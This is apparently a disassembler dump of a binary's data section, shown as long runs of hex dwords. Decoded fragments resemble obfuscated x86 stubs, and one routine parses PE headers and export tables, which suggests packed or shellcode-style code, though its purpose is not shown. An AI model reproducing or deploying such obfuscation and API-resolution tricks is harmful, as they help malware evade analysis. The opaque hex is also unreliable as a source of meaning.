		dd 7820F08h, 0F000000h,	18Dh, 0FB83F800h, 74850F40h, 0E9000000h
		dd 12h,	5E4E4AD8h, 78311D1Ch, 0FDC8ECCBh, 0FA50C17Ch, 8B0F9FB2h
		dd 1, 71BD8DF9h, 6A06AB82h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 486EC351h, 0EE9ECh
		dd 92FB0000h, 5C930BC3h, 0FE62BA48h, 0B1D42B8Ah, 156E9h
		dd 1820F00h, 0F9000000h, 0EE9h,	0F170D200h, 23D0170Fh
		dd 0EAE65B87h, 83CBEDCEh, 850F0DFBh, 45h, 79BD8DFCh, 6A06AB82h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 76EEC350h, 0F90840Bh, 18Fh, 0E9FCF500h, 0FFh
		dd 0DEBF0F60h, 68E0Fh, 0F0810000h, 701B8B76h, 1FB8361h
		dd 3F850Fh, 60F80000h, 12E9h, 0D38B4400h, 9B51F274h, 5CF241A1h
		dd 0CF740EF9h, 0FB8CFA6h, 8D61F2B7h, 0AB8281BDh, 1870F06h
		dd 0F5000000h, 0B6E9h, 0BE900h,	0B97F0000h, 0CB2EB586h
		dd 6F73470Ah, 2AFB8382h, 45850Fh, 9E90000h, 26000000h
		dd 6ECBE2C0h, 0B64BC119h, 89BD8DF9h, 6006AB82h,	2870Fh
		dd 58500000h, 0E961F28Bh, 77h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 14C35545h, 83042176h, 850F27FBh
		dd 2ABh, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 19h,	0D2C35141h, 467C0C16h, 10E94Bh,	0ECCE0000h, 0A07B4D3Dh
		dd 0B8BBD635h, 3FB2DABCh, 0BD8D5F9Ch, 6AB8291h,	0EE9h
		dd 0DABE4B00h, 5E86400Ch, 5400A244h, 8912D6BAh,	0AB82A1BDh
		dd 0FE906h, 201F0000h, 41F32BE7h, 63AA4ACCh, 0F2B9D33Eh
		dd 1860FE4h, 0F5000000h, 6AC88C66h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0E7DFC353h
		dd 8E9h, 5CC73F00h, 0EA599EBCh,	6A0324B7h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0A8AC353h
		dd 62850FC0h, 0E9000001h, 0Bh, 2C8E2309h, 4061F34Bh, 0F9FDEC5h
		dd 184h, 0B58DF800h, 6AB882Eh, 148A0Fh,	0FE90000h, 15000000h
		dd 99CCFECCh, 0A6E40471h, 0A800A606h, 858B2D85h, 6AB88C2h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0DBC35343h
		dd 9ADCB35Fh, 4B98ECBBh, 0C860FFFh, 60000000h, 880Fh, 0BE660000h
		dd 9261FFE0h, 860F5250h, 13h, 0EE9h, 0F7310200h, 1687B83Ch
		dd 0C55B7CEFh, 0F8EB447h, 58506031h, 0DE9h, 0E68ABB00h
		dd 0DAB4037Bh, 0B371AE3Ah, 5A6114CEh, 7E95058h,	96000000h
		dd 0C50F8F42h, 6A92CF83h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 333DC357h, 4C010F64h
		dd 870FFE24h, 1Eh, 188E0Fh, 13E90000h, 1B000000h, 25400106h
		dd 14ECB710h, 0AE6D1A1Fh, 0C33D52A2h, 605A639Ch, 11E9h
		dd 0BA60CB00h, 7B3BE6CAh, 77EC8846h, 0FDD57B40h, 0FE9D9A7h
		dd 0D5000000h, 0D4E07CE6h, 166FE714h, 54E63DC7h, 83614AB0h
		dd 666024C2h, 80303ABFh, 666102C6h, 0F9FC7289h,	0F810CEC1h
		dd 2728966h, 0BF0F60F9h, 47C781F1h, 6129FC02h, 0F8F904CDh
		dd 67E9h, 8B666000h, 61CB80D7h,	0C2858B61h, 6A06AB88h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 5960C350h, 0F2B25FD4h, 0B58DFCEFh, 6AB882Eh
		dd 9B858DF9h, 6A06AB3Bh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 1032C355h, 0C4F872FAh
		dd 89BF2C6h, 0F8D0FFF9h, 82998589h, 6A06ABh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 33BF11C3h
		dd 61B0A7EEh, 80F38B60h, 8B614FE0h, 0AB829985h,	56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 0E9EC4FB8h, 0Ch, 708F7DB7h, 10D8F314h, 0D21EC580h, 56006AC3h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 5D62D3h, 70212AF9h, 14E9h, 0B7792600h, 15E72A8Fh, 104F0CD7h
		dd 0C75646B1h, 87AC51FDh, 8166609Ah, 0FBFBEC1h,	0E961F1BFh
		dd 0Bh,	971045ECh, 140B6638h, 60BFA92Ch, 860FF860h, 2
		dd 83615F51h, 0AB88C2BDh, 850F0006h, 52h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Ah, 0DBC35545h, 4CD976FCh
		dd 13E90030h, 81000000h, 4BE5033Ah, 5661F1EAh, 4054B678h
		dd 389C0A7Eh, 85C720B5h, 6AB88C2h, 1013Fh, 8880Fh, 8A0F0000h
		dd 2, 22E96160h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 6325C357h, 0D3F837E3h
		dd 20CDF9h, 0B000000h, 8D3774C0h, 0BD8B0C70h, 6AB82A1h
		dd 8B9h, 2275A600h, 8BFA7549h, 9D8B3048h, 6AB829Dh, 7F34583Bh
		dd 6BD38B15h, 0CA0304D2h, 8589018Bh, 6AB8299h, 8B04EBh
		dd 8B61C5EBh, 0AB829985h, 6ACF06h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 0BF8D11C3h, 0ACE145DFh
		dd 60291B37h, 5D1CF181h, 8166210Ch, 617504C6h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 99C35040h, 5778ADC5h
		dd 0E9F5C32Bh, 0Fh, 327AE946h, 3C4C85D1h, 22D9F4BFh, 8B9FFBB4h
		dd 0FE8C0h, 8FB20000h, 2E4BD9FFh, 0E65ED801h, 8CF65BF7h
		dd 0CDE5806Eh, 81CC8A5Eh, 66EFC6h, 8E0F5600h, 3, 59CA8B66h
		dd 68h,	0F85AFC00h, 0B916048Bh,	6957E368h, 8666C081h, 0E3B70E02h
		dd 3D96E881h, 0CA8B08D1h, 0B58EF081h, 0EB8061B2h, 0B70F502Fh
		dd 16048FC8h, 890FF88Bh, 0Ah, 5E9h, 242BB00h, 0EA83811Ch
		dd 0FB8B5604h, 0ACFA8159h, 0FFFFF99h, 0D85h, 1EE9F900h
		dd 0D1000000h, 65F51FB5h, 56577D9Ch, 68D6BF66h,	99E9595Fh
		dd 0B2FFFFFFh, 4677C2A0h, 0A788B74Ch, 83E93Ah, 51530000h
		dd 8B575652h, 661C245Ch, 5A4D3B81h, 68850Fh, 0B70F0000h
		dd 0D8033C43h, 503B8166h, 57850F45h, 8B000000h,	5C03785Bh
		dd 738B1C24h, 24740324h, 7B8B561Ch, 1C738B20h, 20247C03h
		dd 20247403h, 0FFC983FCh, 245C8B41h, 3178B1Ch, 83202454h
		dd 28A04C7h, 874C084h, 0E875033Ah, 0F2EB4243h, 0E075033Ah
		dd 0FE1D15Fh, 8B0F04B7h, 44038604h, 5E5F1C24h, 0C25B595Ah
		dd 0C0330008h, 0FFFFF1E9h, 0E9CA8BFFh
dword_5824B0	dd 148h, 50h, 54h, 58h,	5Ch, 60h, 64h, 68h, 6Ch, 0B0h
		dd 0B4h, 0B8h, 0BCh, 0C0h, 0C4h, 0C8h, 0CCh, 0D0h, 0D4h
		dd 0D8h, 0DCh, 0E0h, 0E4h, 0E8h, 0ECh, 38h dup(0)
		dd offset dword_5824B0+64h
		dd 0A150EBh, 8AA7858Dh,	0D78106ABh, 7D197145h, 8BE78589h
		dd 8A0F06ABh, 8, 28F0Fh, 5F570000h, 15D585C6h, 0F5406A8h
		dd 5868FFBFh, 8B8443E7h, 240481D8h, 6A1E80D1h, 0F8D9D89h
		dd 0B5FF06A8h, 6A80F95h, 5E9h, 0B3E37F00h, 8DF87F00h, 0AB697185h
		dd 0B217BE06h, 0D0FF4FDBh, 8589F78Bh, 6AB8BEBh,	1B810Fh
		dd 0FE80000h, 8B000000h, 0A9E54939h, 68F598E6h,	0F51A17C9h
		dd 8D29E8F2h, 6A83211h,	43E95Fh, 95330000h, 6A80A89h, 0E7B58B56h
		dd 8906AB8Bh, 0E7858306h, 406AB8Bh, 8D60C35Eh, 0AB8AA7B5h
		dd 560FEB06h, 36FF006Ah, 8BEB95FFh, 835E06ABh, 3E8304C6h
		dd 61EC7500h, 99531C3h,	2906A832h, 0A80D3D8Dh, 91858D06h
		dd 8106AB8Ch, 5B2FD1E3h, 45858917h, 8906A833h, 0A81ADD85h
		dd 0CE806h, 0C3F80000h,	8666DDE9h, 4038B94h, 840FC31Eh
		dd 1Bh,	31858960h, 0E806A815h, 0Dh, 828F9FD8h, 272C6AF5h
		dd 0E8B7AC61h, 5E615F4Ah, 0D3E18166h, 66C6811Eh, 3100005Eh
		dd 0A82791B5h, 0BFF3306h, 0A811019Dh, 3734FF06h, 0D3BF0F57h
		dd 8F0F585Ah, 11h, 0CE9h, 0A6698C00h, 4E6C3B71h, 4F44C128h
		dd 6FE881B8h, 2B4AF2C9h, 0A800E19Dh, 0CEE88106h, 8B701DE8h
		dd 0A821158Dh, 18E88106h, 0B155D3FBh, 3E0489D7h, 1CB6CB8Ah
		dd 0E803EF83h, 11h, 19CA6F6Bh, 88B479E5h, 5082E01Ah, 0F2A5B0F5h
		dd 15B50138h, 5A06A82Bh, 54FF814Fh, 0FFFFFA2h, 0FFFF8C85h
		dd 0CFB70FFFh, 0F9E9h, 0C42AE300h, 55C9749h, 0A188838Ah
		dd 0E0A1D76h, 538FDD7Ah, 2F6D3733h, 773D557Dh, 7DD57F2Dh
		dd 3D577DD7h, 75DF6DF7h, 7DD773D5h, 0EDF73D57h,	5375D55Fh
		dd 2F6D3733h, 773D557Dh, 7DD57F2Dh, 1E577DD7h, 75DF6D17h
		dd 60206020h, 0E0E02020h, 68AC2060h, 0E4A9F77Bh, 0B2D020A1h
		dd 0B7EDA693h, 0F291B99Dh, 6020ACA3h, 60206020h, 0E0E02020h
		dd 53752060h, 2F0D0A33h, 6020557Dh, 60206020h, 362BA728h
		dd 60C950F0h, 0A1EFB6F3h, 0B4E0F796h, 92B8E3A7h, 0E9B3F471h
		dd 60F76DB9h, 60206020h, 20206020h, 1ADF6DF7h, 7DD77335h
		dd 0EDF73D57h, 5375D55Fh, 2F6D3733h, 773D557Dh,	7DD57F2Dh
		dd 3D577DD7h, 75DF6DF7h, 7DD773D5h, 0EDF73D57h,	5375D55Fh
		dd 2F6D3733h, 0A1E357Dh, 3407000Eh, 0A0A3D25Dh,	1E59h
		dd 4 dup(0)
		dd 9EE90000h, 6800000Ch, 6AB90E2h, 0FCEF1DE9h, 91FC68FFh
		dd 13E906ABh, 68FFFCEFh, 6AB92C1h, 0FCEF09E9h, 939A68FFh
		dd 0FFE906ABh, 68FFFCEEh, 6AB943Dh, 0FCEEF5E9h,	94EC68FFh
		dd 0EBE906ABh, 68FFFCEEh, 6AB9646h, 0FCEEE1E9h,	972C68FFh
		dd 0D7E906ABh, 68FFFCEEh, 6AB9826h, 0FCEECDE9h,	990468FFh
		dd 0C3E906ABh, 68FFFCEEh, 6AB99C0h, 0FCEEB9E9h,	1950F7FFh
		dd 480D228Dh, 7E3751F2h, 0AEEB8728h, 0DB96B718h, 61B1C04Fh
		dd 96398DC0h, 0C26DB9F4h, 0F45FEBA2h, 1A821851h, 668286C0h
		dd 3A40B603h, 1F52F3DCh, 6289992h, 0BAC6ED4Bh, 5FF93459h
		dd 0A7908916h, 28F7217Ah, 3EE74C05h, 61CC511Ch,	1242BF4h
		dd 0EB49F248h, 40FB12B1h, 0CDA61817h, 0E9BCEF19h, 0AD86B600h
		dd 5EF69679h, 0AE7BC2FBh, 0C4544DEFh, 2771FB67h, 143D5742h
		dd 0B0D35CDCh, 3547ADF9h, 52091D49h, 0E8B7E16Dh, 9CDE0C45h
		dd 30AF1EAFh, 6D24475Fh, 0BAFED7C0h, 8E0601C9h,	2A83B601h
		dd 0AAE38289h, 0D990B31Ch, 0E9ACC22Dh, 2043DC4Fh, 73A00388h
		dd 261F6E80h, 149D36F9h, 0E3276E0Dh, 767E5F4Bh,	12D9614h
		dd 4226D444h, 38000005h, 8DFEBBD7h, 2A71A7EEh, 0AED85CFFh
		dd 0AF57D76Ah, 2BE7FF58h, 0F97E2BC7h, 26FF241Dh, 4FF84E07h
		dd 0AB056EDh, 5EC38AA9h, 0F21DEB4Dh, 0D0B60012h, 32604367h
		dd 8ABECC96h, 49222993h, 0BAFA7CEFh, 0D6B600C3h, 0CAA6B47Dh
		dd 2D14773Fh, 3Bh, 86B5E7F6h, 11B5AEE7h, 498F7h, 0D80C4EB6h
		dd 0C7B7867Bh, 32CD246h, 26585C9Eh, 0EE74B600h,	76335F40h
		dd 0D2D6F029h, 0B0B60025h, 0F9BA1187h, 77990DF9h, 0C2E814h
		dd 0BA330000h, 0A8CEAA30h, 0C96FACD0h, 218EC766h, 0D92DF80h
		dd 830F194h, 5ACB6841h,	0D234723Bh, 0AF5844C3h,	55183AA5h
		dd 912BDFC8h, 0AF584599h, 0C768C06Bh, 0F659EDA4h, 7E81E57h
		dd 188B2D64h, 60863D9Fh, 4C9326h, 40C671B6h, 38EE55C7h
		dd 0AAEE328Eh, 7DC610BCh, 0A4A7FDA1h, 0FCD590BEh, 0B7A0E98Bh
		dd 0C28FB013h, 16BADB44h, 0DA0DBA4Dh, 588079C4h, 0EC7CFF22h
		dd 0BF8001A2h, 1D000009h, 4CF7337Ah, 7B246227h,	0AD1694DDh
		dd 0DD46C481h, 2EB5F1BCh, 0ABE6878Bh, 0DF92B41Fh, 0D44E84Bh
		dd 3E7716B9h, 5CEE7CE8h, 0B603675Ch, 0FF3BE026h, 0B4FD9B5Eh
		dd 0DBAD2FDBh, 95039B6Dh, 13BC0692h, 0C6ED3970h, 0F7EFB5E7h
		dd 0F9314BBEh, 0CBAF582Dh, 0D4839660h, 678D3912h, 198B8F39h
		dd 0DE79AF58h, 47718C5Ah, 0F853B600h, 4773B3BBh, 230B600h
		dd 9420DA47h, 4D04C254h, 5B123293h, 42E358D6h, 7851183Bh
		dd 0C0D25338h, 14771FD4h, 0CF33h, 5CFF1400h, 76178815h
		dd 0E1DA9FB3h, 0DB6BBABCh, 0D77DAF57h, 57DB75B5h, 83E44FAFh
		dd 0A50AAEE3h, 496F2E86h, 6AAACBEFh, 0EB8A3571h, 6A430A2Ah
		dd 7A3F53BCh, 68CC4D3Eh, 638937D3h, 8E61D0E9h, 0FB74E28h
		dd 0AF589F0Bh, 316993F9h, 13AF589Fh, 1FE94F38h,	0B600A6CCh
		dd 3F7615B6h, 9D56A046h, 4421DD1Bh, 622F4FB0h, 59FB4C36h
		dd 1D82C4E2h, 0E7BCAB48h, 14359E4Ch, 0C162CD59h, 0E0185C8Ch
		dd 1B98EC7Ch, 8A5AAh, 2D640300h, 5C193699h, 8AC365CEh
		dd 0BAFF933Ch, 0EFA2C36Ch, 759DDC5Bh, 0A20D99D4h, 0D679CD80h
		dd 8ABFFB6h, 0E9E2C65h,	686EAADCh, 1654B603h, 135EFF29h
		dd 0A6EF6997h, 5D8DD4DDh, 238C2Ch, 0AC17FD49h, 4D56C287h
		dd 0F1155CFFh, 0D6F9314Bh, 60CBAF57h, 0ABCA5BC8h, 2C05A4E2h
		dd 0CCFA41F3h, 0FFED4FBAh, 0AE1A35B5h, 0C8614618h, 0D2DE18B4h
		dd 0C3878053h, 97058216h, 650FE2Ch, 2409F549h, 0E365B348h
		dd 0BB70B538h, 4246802Eh, 0BB70B5h, 5C7F8117h, 14997237h
		dd 257B2193h, 0CBCF79C7h, 0B9BB7025h, 0A30D449Eh, 0F517B3ACh
		dd 0C21BB322h, 309337E0h, 5DC6440Dh, 0D51773Eh,	8FE70C75h
		dd 7E0532Ch, 1B3E0000h,	0C66BD452h, 0FC9C0783h,	0A0CE71B5h
		dd 5DFEA1E5h, 6C0D8A10h, 72C885A6h, 0AEFCB1D1h,	982E6705h
		dd 0C95D1437h, 3D7D8F5Dh, 7B60369h, 5CFF5AC1h, 0AD0F8815h
		dd 304AF016h, 0AF57D6F8h, 1E1AACCAh, 0E4AF57D7h, 3E98524Bh
		dd 74BB3CA2h, 0F214DE5Ah, 0B6007E3Fh, 1D6CCB05h, 0D9073AEAh
		dd 3ABC5AE0h, 1372B804h, 0B176A255h, 0F802B803h, 0BCAC2635h
		dd 1D86240Fh, 50F3377Eh, 233F642Dh, 26474385h, 123DBCACh
		dd 51DE97B1h, 0E557D058h, 0B61EA85Eh, 8CC357B3h, 0F6D907A3h
		dd 0BAFF9459h, 0DA4B2475h, 0FCA3F5B8h, 0B9F09859h, 0BAD97AC0h
		dd 0BE97DA7Bh, 5E04A871h, 0C56CABEEh, 2B6F996Dh, 19C35780h
		dd 0BE6C453Eh, 0FF9A3D0Ch, 0FC2C07C9h, 0DF288D9Ch, 77EC7E4h
		dd 65000007h, 943F8BC2h, 0C36CBAFFh, 0F55EECA5h, 258E1C59h
		dd 76FD4904h, 0E3AECF43h, 175AFCA7h, 450C3093h,	763F5EC1h
		dd 14B6B430h, 0B6036A14h, 0E783A8EEh, 81B9C3B5h, 43AF57D7h
		dd 0E8CBFFE8h, 43A90F4Ah, 0D194BA25h, 0BDD5B4Ch, 0B60364B3h
		dd 9F00A691h, 8B71B5FCh, 0EA4E0B28h, 308E2645h,	24AC2E64h
		dd 4CCD524Bh, 78B9DBE8h, 78A59EDBh, 62CF8AA7h, 43675049h
		dd 0ABCE8A39h, 0CD365CBCh, 6CBDE2ABh, 0ABCE66A2h, 0A5F35CBCh
		dd 6183519Bh, 1114FAF3h, 0A7F03D70h, 4F33D5CEh,	41EC7D50h
		dd 664E162h, 0A7C20000h, 5AF758EEh, 288B1Fh, 3C52FD49h
		dd 0E1822D79h, 0E0911EACh, 0CE5C1132h, 3288C565h, 6CBAF391h
		dd 5DE9A0C3h, 0B1E913C9h, 93B6036Ah, 59BAEE55h,	0FE2F7439h
		dd 7C4FEDBAh, 1A1390D9h, 0CF738521h, 9EC18F56h,	0F412D850h
		dd 8EAE6B0Bh, 0BC4AEEC7h, 0B603DDF1h, 0DB2D65F7h, 93BC042Dh
		dd 0AA50FB05h, 4DEB2A49h, 349F2B04h, 52DB5811h,	1BAD59E2h
		dd 0BCAFBEBBh, 9778AE89h, 0C669BDF4h, 0BE38EEA7h, 0EB27BD37h
		dd 0BD2E8A97h, 4E0258FCh, 4750C83h, 14FF2B04h, 0B9F23F72h
		dd 8853F57Fh, 7AC35703h, 254537D1h, 684BE5D1h, 5B597h
		dd 3D741300h, 6C2946E9h, 9AD375DEh, 0CA8FA30Ch,	0FFB2D37Ch
		dd 858D2CABh, 0B21DA9E4h, 0E649DD90h, 18BB0F46h, 7EEE3C75h
		dd 6B5E5AECh, 0E624B603h, 155CFF39h, 3D741788h,	45FE5EE9h
		dd 0F5F867A1h, 80CAB5FFh, 0F908134Ah, 2AF9840h,	0ABBCF8h
		dd 0B273D8B6h, 2D6805EEh, 7332F8Bh, 33DA1477h, 6D000000h
		dd 0D80EB5E7h, 54FAEh, 7EC711B6h, 1389FCE0h, 6EB3FEA0h
		dd 4FE3443Dh, 2474A50Ah, 6AEC311Ah, 0B5FFDA2Ah,	3644ED46h
		dd 1477D55Ah, 108BDh, 5CFF8600h, 18528815h, 969357E3h
		dd 2CF325DDh, 48D9460Bh, 5EC76C25h, 650763Fh, 0D29A65DCh
		dd 449E994h, 3958E9Fh, 0CE7053B9h, 0F50D1E83h, 95BD4CBDh
		dd 72F42414h, 0AF57DD23h, 1694DD80h, 5AC78EADh,	19D94A8Ch
		dd 7FB2B99h, 57F1C5C5h,	0BB94BFAFh, 500AAA7Dh, 0ECF8B37Ah
		dd 74928B5Eh, 71A7EA8Bh, 9E2A51EBh, 0D33CB600h,	65B6FBBEh
		dd 0E4220D33h, 9C4AF123h, 0AB403D6Ah, 83A407BCh, 438561CEh
		dd 0BCAB4047h, 8D39123Dh, 0AB403F7Bh, 312A05BCh, 87C16F95h
		dd 0BCAB4083h, 0EC2CD641h, 0D6BCAB3Fh, 0CE313B7Dh, 9C3AE0ADh
		dd 0AB402E6Ah, 0CA3B14BCh, 0CEB4E4A9h, 5F89C465h, 0EC7CE7E7h
		dd 5B79CAE9h, 0B9000004h, 0F053D79Eh, 1F800643h, 49EA3079h
		dd 79DA6025h, 8A1195D8h, 470A2BE7h, 733E60C3h, 0A1E88C37h
		dd 0D29BBA65h, 0F00AD054h, 0B6036CB8h, 0FFE74C8Ah, 6997135Eh
		dd 0C00692EFh, 0DA5E19BFh, 2B7F3655h, 0EB5E70Ch, 54FAED8h
		dd 1A35B600h
		dd 5515595h, 3352B600h,	9F29357Ah, 0B600059Bh, 3C5DCE69h
		dd 0C06D2C71h, 0FB50D05Fh, 0F84C383Ah, 0ABAB1477h, 0BD000000h
		dd 10B5F517h, 0A48FB600h, 5CFF2F74h, 76178815h,	2174F63Bh
		dd 82AF57DBh, 4A0322E3h, 4FDBB4E5h, 0D38041E4h,	0C6100996h
		dd 7A534223h, 83201960h, 85219A3Ah, 9D1843h, 44E5CEB6h
		dd 0B661AF09h, 0DE65D770h, 3C4A9E28h, 1F38BCABh, 2A6708EBh
		dd 397013FCh, 4EF15FFh,	218E2A6Fh, 757AC00h, 408EB107h
		dd 0C8AFB157h, 0C2E1EC7Ch, 37541h, 0FDB4D300h, 2C6906A9h
		dd 5A13359Eh, 8ACF63CCh, 0BFF2933Ch, 45CDEC6Bh,	72DD6924h
		dd 0A6099DD0h, 0D87BCF86h, 3EAEFCB5h, 6E9E9A2Ch, 2664B603h
		dd 135EFFF9h, 40092C97h, 30BADDFAh, 0DAE1D271h,	703F79A3h
		dd 861F84CDh, 0F218AEE7h, 0D7A4A778h, 8B3D1E61h, 0AF58CF8Fh
		dd 0B7E1DA75h, 6ECE3D16h, 649731D5h, 5EB600E5h,	11ABD1F5h
		dd 0B600E519h, 40E840EBh, 0CECA7C9Ah, 90B600E4h, 0E53276h
		dd 0A72710B6h, 82DA2C8Ch, 395A365Bh, 5F5BED9Bh,	255A365Bh
		dd 4FF5110Ah, 298FC264h, 0DE688CDFh, 29DD7660h,	68417983h
		dd 0C36260DEh, 0F2F4258Ah, 0C45E859h, 0DE7E3FACh, 76374165h
		dd 0F4B7E48Dh, 0F939718Bh, 200B60DDh, 0C17BE137h, 67896236h
		dd 7587230Ch, 0B3D8789Ah, 0CD642C6h, 594194E6h,	607A3758h
		dd 7EBA441Bh, 4FDB92B1h, 0D00841E4h, 419E7F4Ah,	7B98694Ah
		dd 0D9000002h, 10B3F7BEh, 3FE02663h, 69CA5019h,	993A80C5h
		dd 0EA71B5F8h, 672A4BC7h, 93DE8023h, 0C188AC17h, 0F2BBDA45h
		dd 902A30B4h, 0B6036F98h, 0FF072C6Ah, 0F88155Ch, 0B3FA9EADh
		dd 867F3652h, 0EB0B2660h, 5EF9B5FFh, 0EB499C8h,	0F21184CCh
		dd 0AE0AF36Bh, 0DA00BB19h, 0A81039A0h, 0B8200BBCh, 0DA93B112h
		dd 12D44455h, 79367F0Eh, 76942F8Dh, 0DE8E65D4h,	94155F7Fh
		dd 5C5CEE6Bh, 267FDE82h, 0BDD7F50Dh, 3A208D66h,	302E6A9Ch
		dd 0D1C7FDEh, 1C6F4D35h, 0C553FC0Eh, 0BD69D242h, 8A3A7C0Bh
		dd 9EC46286h, 8A3A2C6Ch, 953D1686h, 868A3A95h, 0AA54C46Fh
		dd 0BD3F6581h, 9C38143Ah, 32FD3B15h, 47459713h,	0FE433788h
		dd 0EEF028D2h, 79D28689h, 0FA993A80h, 38FF15B3h, 9211229Eh
		dd 19D31h, 155CFB00h, 44012E91h, 723B5DC6h, 0A2E78B34h
		dd 0D79ABB64h, 6DA5D453h, 9A0581CCh, 0CE71B5F8h, 0A3E7AEh
		dd 1696145Dh, 7076B2D4h, 0E4CB603h, 155CFF21h, 16AD0F88h
		dd 0F20F56F0h, 5AF5B5FFh, 50B99DCCh, 19A347FCh,	0BCA807F2h
		dd 276A0BF4h, 84E44FF1h, 9AF4A642h, 0EDB7E575h,	0A8AD54ADh
		dd 4840FA45h, 3A759BA8h, 9B4F3811h, 43B7BA61h, 2AF887Ch
		dd 7AA01BB9h, 0EF2135C0h, 3EA12B82h, 0B2F6103Ah, 9082EFB2h
		dd 1E592FA7h, 0A58EB0F8h, 5AF8DB01h, 2899921Fh,	42ED4B06h
		dd 0D40E223h, 5FA996A0h, 7A5FDBA9h, 0B112A881h,	7C355392h
		dd 99C96583h, 0E8CB2638h, 0E117h, 51183F00h, 80C56AD5h
		dd 0B6FF993Ah, 0E6A3CF70h, 135EFFA0h, 0A9690897h, 0DE41C588h
		dd 0AB5F1BCh, 3CE7236Ah, 52CA5019h, 703A7E88h, 0C208B603h
		dd 9D5CFF65h, 5A1738FDh, 0F2EB3C61h, 0A80BB1ADh, 800CA87h
		dd 0DEAF57D7h, 57D76CACh, 0EDFD56AFh, 0E351D642h, 9B04A258h
		dd 0E761B7FAh, 0B6000174h, 7EBACC6Ah, 44B60001h, 83BFD30Ah
		dd 694216B3h, 901601CFh, 883E8537h, 0A8ED8162h,	645AC600h
		dd 0F28BCABh, 2B6201A2h, 3A7F14FFh, 5EE14FEh, 96872C69h
		dd 56FE9D02h, 0E28F1978h, 0A9217AA7h, 0EBC4C035h, 0DEF68446h
		dd 2E9F0C1Ah, 96DF7E85h, 0C58CAF10h, 0EEABC758h, 8C15BE41h
		dd 28609AC0h, 7B0C1ADFh, 0F95294DDh, 44DF0BFh, 0E31E5886h
		dd 0D1FF9391h, 0F6951A9Eh, 39172BFh, 0B4000000h, 58FFCBB0h
		dd 70138C11h, 92BF439h,	2042E340h, 3E5FC06Dh, 0D4752E73h
		dd 0E78B1499h, 84A47DA2h, 92BF60CDh, 68FA4AD7h,	5115h
		dd 68242C89h, 4CEBh, 68241C89h,	1FA5h, 56242C89h, 0AB8F08BEh
		dd 8BF38906h, 0C4812434h, 4, 242C8B54h,	4C481h,	0EC810000h
		dd 4, 8F241C89h, 2C8B0845h, 0E1895124h,	4C181h,	0C1810000h
		dd 4, 5C240C87h, 50241C8Bh, 405E089h, 5000000h,	4, 5C240487h
		dd 0FCE28DE9h, 2EDE72FFh, 9AC6B8DEh, 0C50306ABh, 2261E0FFh
		dd 9B55E98h, 172F2755h,	791F15D6h, 794F0A35h, 2BED4A8Fh
		dd 62826E8Ch, 0E49B1BE5h, 0D2F86044h, 5677632Dh, 0E2DC74D0h
		dd 0F3BE3DF3h, 56E51697h, 90584BFBh, 0D29350CAh, 697B7260h
		dd 74BE6C4Ch, 398A79D2h, 7CEB44E9h, 19034075h, 0C6A40241h
		dd 31E9501Dh, 0C0000000h, 524A58h, 0Bh dup(0)
		dd 55BE9h, 41082F00h, 70355AC5h, 0A6EF892Ah, 0D693BF60h
		dd 34EEF50h, 99793887h,	0CE71B5F8h, 0FAA5E1ACh,	2C97135Ah
		dd 62FA4009h, 724A4EF8h, 0F238B603h, 155CFF55h,	3B761788h
		dd 0A52144EFh, 57D72763h, 623815AFh, 5678C726h,	0FD0FBB94h
		dd 0AF5874BDh, 6EB3AC87h, 52DF96B5h, 0B4F9BCD1h, 0F9C36CD9h
		dd 74F12953h, 78D3AF58h, 0DCC6F30h, 0A1FA276Eh,	90B112C8h
		dd 4EF15BDDh, 44DEF2Eh,	11958E9Fh, 2F4F8EAEh, 7BEC3D62h
		dd 1D0E93D6h, 426FF24h,	3965E449h, 75316993h, 0D172AF58h
		dd 0E9E14A9Ch, 70FFF4Fh, 0A90296E1h, 2A630108h,	3B7E13FCh
		dd 0DADE68F6h, 0A8AF580Bh, 0B802968Fh, 0F03D7417h, 580C2F76h
		dd 951E9DAFh, 0DFE3A985h, 754C12h, 0BAD70000h, 0D6AEEA1Ch
		dd 0BB94AF57h, 1793B27Dh, 57D6B5F5h, 0BD6687AFh, 0A2111314h
		dd 911EF720h, 57DC4F49h, 753EBDAFh, 0DFD38965h,	16C12h
		dd 0FFB70000h, 198A1752h, 43953174h, 95AD2CADh,	0A3C3243Ah
		dd 48D94AEEh, 0E4BE72Ah, 7B178815h, 0F30F13Eh, 8576DD42h
		dd 0DC1E9D1Ch, 0B31414B6h, 45EEAF58h, 0B0B778D3h, 0DF40C683h
		dd 0EED1F5BCh, 8B9C014Ch, 0BA78A72Dh, 0DEC4A030h, 0FD3B279Ch
		dd 0D75C1132h, 6764C10Bh, 26759712h, 45002DF2h,	33FC59D8h
		dd 0C0460B2Ch, 51753C5Fh, 0DBF19B07h, 92068B77h, 4CC87031h
		dd 5861FE3Ah, 726BC4AFh, 9C9C2E54h, 66AF5862h, 18F86BCDh
		dd 4E0F2B3h, 312DF5Fh, 97h, 125BFAE5h, 59BA9D86h, 7012733Ah
		dd 1334FB3Dh, 0B7FCB9D6h, 0A3004DEEh, 0D375918Ah, 0AF57D6D7h
		dd 4A982ADh, 6FB4FD9Bh,	5BD895B6h, 83E4A9CAh, 8504A9E0h
